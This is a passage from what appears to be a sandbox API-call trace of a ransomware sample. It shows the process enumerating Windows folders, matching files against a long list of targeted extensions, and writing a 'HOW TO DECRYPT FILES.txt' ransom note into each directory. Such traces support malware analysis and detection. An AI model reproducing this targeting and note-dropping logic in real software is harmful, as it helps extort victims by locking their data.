(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.vmx") returned 0 [0105.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.vmdk") returned 0 [0105.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.vdi") returned 0 [0105.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.lay6") returned 0 [0105.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.mpeg") returned 0 [0105.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.djvu") returned 0 [0105.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.tiff") returned 0 [0105.239] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.backup") returned 0 [0105.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.pdf") returned 0 [0105.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.cert") returned 0 [0105.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.docm") returned 0 [0105.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.xlsm") returned 0 [0105.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.dwg") returned 0 [0105.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.nd") returned 0 [0105.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.tlg") returned 0 [0105.240] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.lgb") returned 0 [0105.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.mov") returned 0 [0105.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.xdw") returned 0 [0105.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.ods") returned 0 [0105.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.wav") returned 0 [0105.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.mp3") returned 0 [0105.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.aiff") returned 0 [0105.241] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.flac") returned 0 [0105.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.m4a") returned 0 [0105.242] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll", pszSpec="*.csv") returned 0 [0105.242] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc65435c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc65435c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc67a4bc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x110c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.242] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.242] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88cc9a0f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x88cefb6f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x88cefb6f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="bcad898b90aee666da2f81b0a87a91ee", cAlternateFileName="BCAD89~1")) returned 1 [0105.242] lstrcmpA (lpString1=".", lpString2="bcad898b90aee666da2f81b0a87a91ee") returned -1 [0105.242] lstrcmpA (lpString1="..", lpString2="bcad898b90aee666da2f81b0a87a91ee") returned -1 [0105.242] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\*.*") returned="*.*" [0105.242] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\", lpString2="bcad898b90aee666da2f81b0a87a91ee" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee" [0105.242] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88cc9a0f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x88cefb6f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x88cefb6f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.243] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.243] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88cc9a0f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x88cefb6f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x88cefb6f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.244] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.244] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.244] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c575ee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x88c575ee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x88c7d74e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xd8e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.244] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.244] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0105.244] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0105.244] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.AccountManagement.ni.dll") returned -1 [0105.244] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\*.*") returned="*.*" [0105.244] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\" [0105.244] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\") returned="" [0105.244] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\HOW TO DECRYPT FILES.txt" [0105.244] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\bcad898b90aee666da2f81b0a87a91ee\\how to decrypt files.txt")) returned 0xffffffff [0105.244] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\bcad898b90aee666da2f81b0a87a91ee\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.252] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.254] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.254] CloseHandle (hObject=0x90) returned 1 [0105.254] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\", lpString2="System.DirectoryServices.AccountManagement.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll" [0105.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ems") returned 0 [0105.254] lstrlenA (lpString="*.ems") returned 5 [0105.254] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.db") returned 0 [0105.255] lstrlenA (lpString="*.db") returned 4 [0105.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dbf") returned 0 [0105.255] lstrlenA (lpString="*.dbf") returned 5 [0105.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.myox") returned 0 [0105.255] lstrlenA (lpString="*.myox") returned 6 [0105.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.myo") returned 0 [0105.255] lstrlenA (lpString="*.myo") returned 5 [0105.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbw") returned 0 [0105.255] lstrlenA (lpString="*.qbw") returned 5 [0105.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbb") returned 0 [0105.255] lstrlenA (lpString="*.qbb") returned 5 [0105.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbm") returned 0 [0105.255] lstrlenA (lpString="*.qbm") returned 5 [0105.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbo") returned 0 [0105.255] lstrlenA (lpString="*.qbo") returned 5 [0105.255] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbx") returned 0 [0105.255] lstrlenA (lpString="*.qbx") returned 5 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qba") returned 0 [0105.256] lstrlenA (lpString="*.qba") returned 5 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qby") returned 0 [0105.256] lstrlenA (lpString="*.qby") returned 5 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qbj") returned 0 [0105.256] lstrlenA (lpString="*.qbj") returned 5 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ofx") returned 0 [0105.256] lstrlenA (lpString="*.ofx") returned 5 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.qif") returned 0 [0105.256] lstrlenA (lpString="*.qif") returned 5 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mye") returned 0 [0105.256] lstrlenA (lpString="*.mye") returned 5 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mbox") returned 0 [0105.256] lstrlenA (lpString="*.mbox") returned 6 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.eml") returned 0 [0105.256] lstrlenA (lpString="*.eml") returned 5 [0105.256] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pst") returned 0 [0105.257] lstrlenA (lpString="*.pst") returned 5 [0105.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ost") returned 0 [0105.257] lstrlenA (lpString="*.ost") returned 5 [0105.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.idx") returned 0 [0105.257] lstrlenA (lpString="*.idx") returned 5 [0105.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dbx") returned 0 [0105.257] lstrlenA (lpString="*.dbx") returned 5 [0105.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.sql") returned 0 [0105.257] lstrlenA (lpString="*.sql") returned 5 [0105.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mdb") returned 0 [0105.257] lstrlenA (lpString="*.mdb") returned 5 [0105.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.fdb") returned 0 [0105.257] lstrlenA (lpString="*.fdb") returned 5 [0105.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.wab") returned 0 [0105.257] lstrlenA (lpString="*.wab") returned 5 [0105.257] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dat") returned 0 [0105.257] lstrlenA (lpString="*.dat") returned 5 [0105.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.txt") returned 0 [0105.258] lstrlenA (lpString="*.txt") returned 5 [0105.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.jpeg") returned 0 [0105.258] lstrlenA (lpString="*.jpeg") returned 6 [0105.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.jpg") returned 0 [0105.258] lstrlenA (lpString="*.jpg") returned 5 [0105.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.png") returned 0 [0105.258] lstrlenA (lpString="*.png") returned 5 [0105.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.php") returned 0 [0105.258] lstrlenA (lpString="*.php") returned 5 [0105.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.cs") returned 0 [0105.258] lstrlenA (lpString="*.cs") returned 4 [0105.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.cpp") returned 0 [0105.258] lstrlenA (lpString="*.cpp") returned 5 [0105.258] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.rar") returned 0 [0105.258] lstrlenA (lpString="*.rar") returned 5 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.zip") returned 0 [0105.259] lstrlenA (lpString="*.zip") returned 5 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.html") returned 0 [0105.259] lstrlenA (lpString="*.html") returned 6 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.htm") returned 0 [0105.259] lstrlenA (lpString="*.htm") returned 5 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.xlsx") returned 0 [0105.259] lstrlenA (lpString="*.xlsx") returned 6 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.xls") returned 0 [0105.259] lstrlenA (lpString="*.xls") returned 5 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mp4") returned 0 [0105.259] lstrlenA (lpString="*.mp4") returned 5 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ppt") returned 0 [0105.259] lstrlenA (lpString="*.ppt") returned 5 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pptx") returned 0 [0105.259] lstrlenA (lpString="*.pptx") returned 6 [0105.259] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.doc") returned 0 [0105.259] lstrlenA (lpString="*.doc") returned 5 [0105.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dot") returned 0 [0105.260] lstrlenA (lpString="*.dot") returned 5 [0105.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.docx") returned 0 [0105.260] lstrlenA (lpString="*.docx") returned 6 [0105.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.7z") returned 0 [0105.260] lstrlenA (lpString="*.7z") returned 4 [0105.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.tar") returned 0 [0105.260] lstrlenA (lpString="*.tar") returned 5 [0105.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.bz2") returned 0 [0105.260] lstrlenA (lpString="*.bz2") returned 5 [0105.260] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\bcad898b90aee666da2f81b0a87a91ee\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.gz") returned 0 [0105.260] lstrlenA (lpString="*.gz") returned 4 [0105.260] PathMatchSpecA 